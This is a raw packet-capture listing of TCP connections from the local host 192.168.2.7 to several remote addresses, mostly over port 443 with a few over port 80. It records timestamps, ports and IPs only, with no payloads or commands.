Nov 17, 2024 22:20:31.995786905 CET	443	49778	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:31.995882034 CET	49778	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:31.995882034 CET	49778	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:31.995945930 CET	49778	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:31.995960951 CET	443	49778	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:31.996057034 CET	49786	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:31.996100903 CET	443	49786	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:31.996320963 CET	49786	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:31.996572971 CET	49786	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:31.996586084 CET	443	49786	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:31.997883081 CET	49787	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:31.997925043 CET	443	49787	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:31.998022079 CET	49787	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:31.998302937 CET	49787	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:31.998317957 CET	443	49787	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:32.033543110 CET	443	49781	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:32.033783913 CET	443	49781	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:32.033859015 CET	49781	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:32.033890963 CET	49781	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:32.033909082 CET	443	49781	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:32.033929110 CET	49781	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:32.033936024 CET	443	49781	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:32.036302090 CET	49788	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:32.036389112 CET	443	49788	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:32.036475897 CET	49788	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:32.036588907 CET	49788	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:32.036613941 CET	443	49788	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:32.036940098 CET	443	49780	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:32.037082911 CET	443	49780	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:32.037146091 CET	49780	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:32.037184000 CET	49780	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:32.037184000 CET	49780	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:32.037204027 CET	443	49780	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:32.037215948 CET	443	49780	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:32.039098024 CET	49789	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:32.039185047 CET	443	49789	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:32.039288044 CET	49789	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:32.039419889 CET	49789	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:32.039453030 CET	443	49789	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:32.138602018 CET	49790	443	192.168.2.7	216.58.206.78
Nov 17, 2024 22:20:32.138641119 CET	443	49790	216.58.206.78	192.168.2.7
Nov 17, 2024 22:20:32.138880968 CET	49790	443	192.168.2.7	216.58.206.78
Nov 17, 2024 22:20:32.143037081 CET	49790	443	192.168.2.7	216.58.206.78
Nov 17, 2024 22:20:32.143052101 CET	443	49790	216.58.206.78	192.168.2.7
Nov 17, 2024 22:20:32.256649971 CET	443	49782	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:32.256956100 CET	49782	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:32.256983995 CET	443	49782	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:32.258419991 CET	443	49782	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:32.258708954 CET	49782	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:32.258878946 CET	49782	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:32.258959055 CET	443	49782	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:32.310879946 CET	49782	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:32.310895920 CET	443	49782	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:32.360197067 CET	49782	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:32.663537979 CET	49762	443	192.168.2.7	4.245.163.56
Nov 17, 2024 22:20:32.663553953 CET	443	49762	4.245.163.56	192.168.2.7
Nov 17, 2024 22:20:32.663566113 CET	49762	443	192.168.2.7	4.245.163.56
Nov 17, 2024 22:20:32.663573027 CET	443	49762	4.245.163.56	192.168.2.7
Nov 17, 2024 22:20:32.743035078 CET	443	49785	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:32.747164965 CET	443	49787	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:32.750488997 CET	443	49786	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:32.782124996 CET	443	49788	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:32.782602072 CET	443	49789	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:32.787900925 CET	49785	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:32.787921906 CET	443	49785	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:32.795125008 CET	49787	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:32.797002077 CET	49786	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:32.817600965 CET	49785	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:32.817612886 CET	443	49785	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:32.826440096 CET	49788	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:32.829015970 CET	49789	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:32.830528021 CET	49789	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:32.830550909 CET	443	49789	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:32.834639072 CET	49789	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:32.834646940 CET	443	49789	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:32.838578939 CET	49787	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:32.838588953 CET	443	49787	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:32.846599102 CET	49787	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:32.846605062 CET	443	49787	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:32.851135015 CET	49786	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:32.851164103 CET	443	49786	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:32.851454973 CET	49786	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:32.851459980 CET	443	49786	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:32.910484076 CET	49788	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:32.910514116 CET	443	49788	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:32.914747000 CET	49788	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:32.914762974 CET	443	49788	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:32.943871021 CET	443	49785	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:32.943953037 CET	443	49785	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:32.944062948 CET	49785	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:32.948707104 CET	49785	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:32.948723078 CET	443	49785	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:32.959512949 CET	443	49789	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:32.959712029 CET	443	49789	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:32.959944963 CET	49789	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:32.964215040 CET	49789	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:32.964247942 CET	443	49789	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:32.964298964 CET	49789	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:32.964315891 CET	443	49789	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:32.976089954 CET	443	49787	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:32.976186037 CET	443	49787	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:32.977027893 CET	49787	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:32.978851080 CET	443	49786	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:32.978984118 CET	443	49786	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:32.979835987 CET	49786	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:33.009212017 CET	443	49790	216.58.206.78	192.168.2.7
Nov 17, 2024 22:20:33.034297943 CET	49787	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:33.034320116 CET	443	49787	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:33.034333944 CET	49787	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:33.034342051 CET	443	49787	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:33.042970896 CET	443	49788	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:33.043165922 CET	443	49788	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:33.043386936 CET	49788	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:33.043551922 CET	49788	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:33.043551922 CET	49788	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:33.043590069 CET	443	49788	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:33.043620110 CET	443	49788	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:33.067450047 CET	49790	443	192.168.2.7	216.58.206.78
Nov 17, 2024 22:20:33.094197035 CET	49786	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:33.094197035 CET	49786	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:33.094229937 CET	443	49786	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:33.094244003 CET	443	49786	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:33.097806931 CET	49790	443	192.168.2.7	216.58.206.78
Nov 17, 2024 22:20:33.097814083 CET	443	49790	216.58.206.78	192.168.2.7
Nov 17, 2024 22:20:33.100929976 CET	443	49790	216.58.206.78	192.168.2.7
Nov 17, 2024 22:20:33.100950003 CET	443	49790	216.58.206.78	192.168.2.7
Nov 17, 2024 22:20:33.101017952 CET	49790	443	192.168.2.7	216.58.206.78
Nov 17, 2024 22:20:33.447710991 CET	49790	443	192.168.2.7	216.58.206.78
Nov 17, 2024 22:20:33.448091984 CET	443	49790	216.58.206.78	192.168.2.7
Nov 17, 2024 22:20:33.448968887 CET	49790	443	192.168.2.7	216.58.206.78
Nov 17, 2024 22:20:33.448992014 CET	443	49790	216.58.206.78	192.168.2.7
Nov 17, 2024 22:20:33.500000000 CET	49790	443	192.168.2.7	216.58.206.78
Nov 17, 2024 22:20:33.532167912 CET	49795	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:33.532207012 CET	443	49795	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:33.532286882 CET	49795	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:33.535096884 CET	49796	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:33.535124063 CET	443	49796	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:33.535264015 CET	49796	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:33.535434961 CET	49795	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:33.535461903 CET	443	49795	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:33.536119938 CET	49797	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:33.536180973 CET	443	49797	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:33.536308050 CET	49797	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:33.536521912 CET	49797	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:33.536556005 CET	443	49797	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:33.536659956 CET	49798	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:33.536669016 CET	443	49798	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:33.536902905 CET	49798	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:33.537152052 CET	49798	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:33.537168026 CET	443	49798	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:33.537261009 CET	49796	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:33.537270069 CET	443	49796	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:33.537724018 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:33.537950993 CET	49799	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:33.537976027 CET	443	49799	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:33.538050890 CET	49799	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:33.538177013 CET	49799	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:33.538192987 CET	443	49799	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:33.538348913 CET	49800	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:33.542737961 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:33.543256044 CET	80	49800	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:33.543329954 CET	49800	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:33.546108007 CET	49800	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:33.550955057 CET	80	49800	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:33.693988085 CET	443	49790	216.58.206.78	192.168.2.7
Nov 17, 2024 22:20:33.694128990 CET	443	49790	216.58.206.78	192.168.2.7
Nov 17, 2024 22:20:33.694197893 CET	49790	443	192.168.2.7	216.58.206.78
Nov 17, 2024 22:20:33.694210052 CET	443	49790	216.58.206.78	192.168.2.7
Nov 17, 2024 22:20:33.694288969 CET	443	49790	216.58.206.78	192.168.2.7
Nov 17, 2024 22:20:33.694376945 CET	443	49790	216.58.206.78	192.168.2.7
Nov 17, 2024 22:20:33.694449902 CET	443	49790	216.58.206.78	192.168.2.7
Nov 17, 2024 22:20:33.694456100 CET	49790	443	192.168.2.7	216.58.206.78
Nov 17, 2024 22:20:33.694478989 CET	443	49790	216.58.206.78	192.168.2.7
Nov 17, 2024 22:20:33.694508076 CET	49790	443	192.168.2.7	216.58.206.78
Nov 17, 2024 22:20:33.702166080 CET	443	49790	216.58.206.78	192.168.2.7
Nov 17, 2024 22:20:33.702219963 CET	49790	443	192.168.2.7	216.58.206.78
Nov 17, 2024 22:20:33.702227116 CET	443	49790	216.58.206.78	192.168.2.7
Nov 17, 2024 22:20:33.749790907 CET	49790	443	192.168.2.7	216.58.206.78
Nov 17, 2024 22:20:33.749815941 CET	443	49790	216.58.206.78	192.168.2.7
Nov 17, 2024 22:20:33.779187918 CET	49802	443	192.168.2.7	184.28.90.27
Nov 17, 2024 22:20:33.779232025 CET	443	49802	184.28.90.27	192.168.2.7
Nov 17, 2024 22:20:33.779306889 CET	49802	443	192.168.2.7	184.28.90.27
Nov 17, 2024 22:20:33.782088995 CET	49802	443	192.168.2.7	184.28.90.27
Nov 17, 2024 22:20:33.782104015 CET	443	49802	184.28.90.27	192.168.2.7
Nov 17, 2024 22:20:33.796680927 CET	49790	443	192.168.2.7	216.58.206.78
Nov 17, 2024 22:20:33.810266018 CET	443	49790	216.58.206.78	192.168.2.7
Nov 17, 2024 22:20:33.810432911 CET	443	49790	216.58.206.78	192.168.2.7
Nov 17, 2024 22:20:33.810486078 CET	49790	443	192.168.2.7	216.58.206.78
Nov 17, 2024 22:20:33.810503006 CET	443	49790	216.58.206.78	192.168.2.7
Nov 17, 2024 22:20:33.813646078 CET	443	49790	216.58.206.78	192.168.2.7
Nov 17, 2024 22:20:33.813702106 CET	49790	443	192.168.2.7	216.58.206.78
Nov 17, 2024 22:20:33.813724995 CET	443	49790	216.58.206.78	192.168.2.7
Nov 17, 2024 22:20:33.818485975 CET	443	49790	216.58.206.78	192.168.2.7
Nov 17, 2024 22:20:33.818625927 CET	49790	443	192.168.2.7	216.58.206.78
Nov 17, 2024 22:20:33.818636894 CET	443	49790	216.58.206.78	192.168.2.7
Nov 17, 2024 22:20:33.826792955 CET	443	49790	216.58.206.78	192.168.2.7
Nov 17, 2024 22:20:33.826886892 CET	49790	443	192.168.2.7	216.58.206.78
Nov 17, 2024 22:20:33.826903105 CET	443	49790	216.58.206.78	192.168.2.7
Nov 17, 2024 22:20:33.873931885 CET	49790	443	192.168.2.7	216.58.206.78
Nov 17, 2024 22:20:33.873945951 CET	443	49790	216.58.206.78	192.168.2.7
Nov 17, 2024 22:20:33.921732903 CET	49790	443	192.168.2.7	216.58.206.78
Nov 17, 2024 22:20:33.927287102 CET	443	49790	216.58.206.78	192.168.2.7
Nov 17, 2024 22:20:33.927489996 CET	443	49790	216.58.206.78	192.168.2.7
Nov 17, 2024 22:20:33.927603960 CET	49790	443	192.168.2.7	216.58.206.78
Nov 17, 2024 22:20:33.927617073 CET	443	49790	216.58.206.78	192.168.2.7
Nov 17, 2024 22:20:33.934065104 CET	443	49790	216.58.206.78	192.168.2.7
Nov 17, 2024 22:20:33.934123993 CET	49790	443	192.168.2.7	216.58.206.78
Nov 17, 2024 22:20:33.934130907 CET	443	49790	216.58.206.78	192.168.2.7
Nov 17, 2024 22:20:33.935242891 CET	443	49790	216.58.206.78	192.168.2.7
Nov 17, 2024 22:20:33.935291052 CET	49790	443	192.168.2.7	216.58.206.78
Nov 17, 2024 22:20:33.935305119 CET	443	49790	216.58.206.78	192.168.2.7
Nov 17, 2024 22:20:33.944194078 CET	443	49790	216.58.206.78	192.168.2.7
Nov 17, 2024 22:20:33.944338083 CET	49790	443	192.168.2.7	216.58.206.78
Nov 17, 2024 22:20:33.944344044 CET	443	49790	216.58.206.78	192.168.2.7
Nov 17, 2024 22:20:33.984200954 CET	49790	443	192.168.2.7	216.58.206.78
Nov 17, 2024 22:20:33.988404036 CET	443	49790	216.58.206.78	192.168.2.7
Nov 17, 2024 22:20:34.029236078 CET	49790	443	192.168.2.7	216.58.206.78
Nov 17, 2024 22:20:34.029247046 CET	443	49790	216.58.206.78	192.168.2.7
Nov 17, 2024 22:20:34.043272972 CET	443	49790	216.58.206.78	192.168.2.7
Nov 17, 2024 22:20:34.043348074 CET	49790	443	192.168.2.7	216.58.206.78
Nov 17, 2024 22:20:34.043361902 CET	443	49790	216.58.206.78	192.168.2.7
Nov 17, 2024 22:20:34.043437958 CET	443	49790	216.58.206.78	192.168.2.7
Nov 17, 2024 22:20:34.043483019 CET	49790	443	192.168.2.7	216.58.206.78
Nov 17, 2024 22:20:34.043492079 CET	443	49790	216.58.206.78	192.168.2.7
Nov 17, 2024 22:20:34.050695896 CET	443	49790	216.58.206.78	192.168.2.7
Nov 17, 2024 22:20:34.050921917 CET	49790	443	192.168.2.7	216.58.206.78
Nov 17, 2024 22:20:34.050942898 CET	443	49790	216.58.206.78	192.168.2.7
Nov 17, 2024 22:20:34.056899071 CET	443	49790	216.58.206.78	192.168.2.7
Nov 17, 2024 22:20:34.056963921 CET	49790	443	192.168.2.7	216.58.206.78
Nov 17, 2024 22:20:34.056976080 CET	443	49790	216.58.206.78	192.168.2.7
Nov 17, 2024 22:20:34.060754061 CET	443	49790	216.58.206.78	192.168.2.7
Nov 17, 2024 22:20:34.060875893 CET	49790	443	192.168.2.7	216.58.206.78
Nov 17, 2024 22:20:34.060890913 CET	443	49790	216.58.206.78	192.168.2.7
Nov 17, 2024 22:20:34.105079889 CET	443	49790	216.58.206.78	192.168.2.7
Nov 17, 2024 22:20:34.105158091 CET	49790	443	192.168.2.7	216.58.206.78
Nov 17, 2024 22:20:34.105170012 CET	443	49790	216.58.206.78	192.168.2.7
Nov 17, 2024 22:20:34.154387951 CET	49790	443	192.168.2.7	216.58.206.78
Nov 17, 2024 22:20:34.159869909 CET	443	49790	216.58.206.78	192.168.2.7
Nov 17, 2024 22:20:34.160064936 CET	443	49790	216.58.206.78	192.168.2.7
Nov 17, 2024 22:20:34.160192966 CET	49790	443	192.168.2.7	216.58.206.78
Nov 17, 2024 22:20:34.160203934 CET	443	49790	216.58.206.78	192.168.2.7
Nov 17, 2024 22:20:34.167141914 CET	443	49790	216.58.206.78	192.168.2.7
Nov 17, 2024 22:20:34.167212009 CET	49790	443	192.168.2.7	216.58.206.78
Nov 17, 2024 22:20:34.167227983 CET	443	49790	216.58.206.78	192.168.2.7
Nov 17, 2024 22:20:34.175420046 CET	443	49790	216.58.206.78	192.168.2.7
Nov 17, 2024 22:20:34.175636053 CET	49790	443	192.168.2.7	216.58.206.78
Nov 17, 2024 22:20:34.175656080 CET	443	49790	216.58.206.78	192.168.2.7
Nov 17, 2024 22:20:34.178734064 CET	443	49790	216.58.206.78	192.168.2.7
Nov 17, 2024 22:20:34.178908110 CET	443	49790	216.58.206.78	192.168.2.7
Nov 17, 2024 22:20:34.178957939 CET	49790	443	192.168.2.7	216.58.206.78
Nov 17, 2024 22:20:34.178971052 CET	443	49790	216.58.206.78	192.168.2.7
Nov 17, 2024 22:20:34.179039955 CET	49790	443	192.168.2.7	216.58.206.78
Nov 17, 2024 22:20:34.221596956 CET	443	49790	216.58.206.78	192.168.2.7
Nov 17, 2024 22:20:34.263597965 CET	49790	443	192.168.2.7	216.58.206.78
Nov 17, 2024 22:20:34.263611078 CET	443	49790	216.58.206.78	192.168.2.7
Nov 17, 2024 22:20:34.273021936 CET	443	49796	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:34.273413897 CET	443	49797	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:34.274034977 CET	49796	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:34.274080992 CET	443	49796	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:34.274576902 CET	443	49798	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:34.275012016 CET	49797	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:34.275041103 CET	443	49797	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:34.275906086 CET	49798	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:34.275939941 CET	443	49798	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:34.277617931 CET	49798	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:34.277631044 CET	443	49798	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:34.277805090 CET	49796	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:34.277816057 CET	443	49796	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:34.278295994 CET	49797	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:34.278305054 CET	443	49797	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:34.282756090 CET	443	49795	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:34.283339024 CET	49795	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:34.283368111 CET	443	49795	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:34.283874989 CET	49795	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:34.283881903 CET	443	49795	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:34.286171913 CET	443	49790	216.58.206.78	192.168.2.7
Nov 17, 2024 22:20:34.286206007 CET	443	49790	216.58.206.78	192.168.2.7
Nov 17, 2024 22:20:34.286232948 CET	443	49790	216.58.206.78	192.168.2.7
Nov 17, 2024 22:20:34.286258936 CET	49790	443	192.168.2.7	216.58.206.78
Nov 17, 2024 22:20:34.286293030 CET	443	49790	216.58.206.78	192.168.2.7
Nov 17, 2024 22:20:34.286314964 CET	49790	443	192.168.2.7	216.58.206.78
Nov 17, 2024 22:20:34.288984060 CET	443	49799	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:34.289395094 CET	49799	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:34.289412022 CET	443	49799	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:34.289979935 CET	49799	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:34.289985895 CET	443	49799	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:34.290982962 CET	443	49790	216.58.206.78	192.168.2.7
Nov 17, 2024 22:20:34.291100979 CET	49790	443	192.168.2.7	216.58.206.78
Nov 17, 2024 22:20:34.291107893 CET	443	49790	216.58.206.78	192.168.2.7
Nov 17, 2024 22:20:34.296004057 CET	443	49790	216.58.206.78	192.168.2.7
Nov 17, 2024 22:20:34.296044111 CET	443	49790	216.58.206.78	192.168.2.7
Nov 17, 2024 22:20:34.296119928 CET	49790	443	192.168.2.7	216.58.206.78
Nov 17, 2024 22:20:34.296125889 CET	443	49790	216.58.206.78	192.168.2.7
Nov 17, 2024 22:20:34.296214104 CET	49790	443	192.168.2.7	216.58.206.78
Nov 17, 2024 22:20:34.338016987 CET	443	49790	216.58.206.78	192.168.2.7
Nov 17, 2024 22:20:34.384072065 CET	443	49790	216.58.206.78	192.168.2.7
Nov 17, 2024 22:20:34.384114981 CET	443	49790	216.58.206.78	192.168.2.7
Nov 17, 2024 22:20:34.384144068 CET	49790	443	192.168.2.7	216.58.206.78
Nov 17, 2024 22:20:34.384160042 CET	443	49790	216.58.206.78	192.168.2.7
Nov 17, 2024 22:20:34.384207010 CET	49790	443	192.168.2.7	216.58.206.78
Nov 17, 2024 22:20:34.392919064 CET	443	49790	216.58.206.78	192.168.2.7
Nov 17, 2024 22:20:34.397697926 CET	443	49790	216.58.206.78	192.168.2.7
Nov 17, 2024 22:20:34.397754908 CET	49790	443	192.168.2.7	216.58.206.78
Nov 17, 2024 22:20:34.397763014 CET	443	49790	216.58.206.78	192.168.2.7
Nov 17, 2024 22:20:34.402508020 CET	443	49790	216.58.206.78	192.168.2.7
Nov 17, 2024 22:20:34.402534008 CET	443	49790	216.58.206.78	192.168.2.7
Nov 17, 2024 22:20:34.402573109 CET	49790	443	192.168.2.7	216.58.206.78
Nov 17, 2024 22:20:34.402581930 CET	443	49790	216.58.206.78	192.168.2.7
Nov 17, 2024 22:20:34.402739048 CET	49790	443	192.168.2.7	216.58.206.78
Nov 17, 2024 22:20:34.412162066 CET	443	49790	216.58.206.78	192.168.2.7
Nov 17, 2024 22:20:34.412492037 CET	443	49797	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:34.412678957 CET	443	49797	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:34.412746906 CET	49797	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:34.412848949 CET	49797	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:34.412873030 CET	443	49797	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:34.412884951 CET	49797	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:34.412893057 CET	443	49797	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:34.415903091 CET	49803	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:34.415937901 CET	443	49803	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:34.416064024 CET	49803	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:34.416189909 CET	49803	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:34.416214943 CET	443	49803	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:34.417257071 CET	443	49798	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:34.417301893 CET	443	49796	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:34.417458057 CET	443	49798	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:34.417503119 CET	443	49796	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:34.417524099 CET	49798	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:34.417582035 CET	49796	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:34.417582989 CET	49798	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:34.417582989 CET	49798	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:34.417630911 CET	443	49798	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:34.417656898 CET	443	49798	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:34.417679071 CET	49796	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:34.417679071 CET	49796	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:34.417694092 CET	443	49796	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:34.417718887 CET	443	49796	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:34.419748068 CET	49677	443	192.168.2.7	20.50.201.200
Nov 17, 2024 22:20:34.420382977 CET	49804	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:34.420433998 CET	443	49804	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:34.420506001 CET	49804	443	192.168.2.7	13.107.246.45
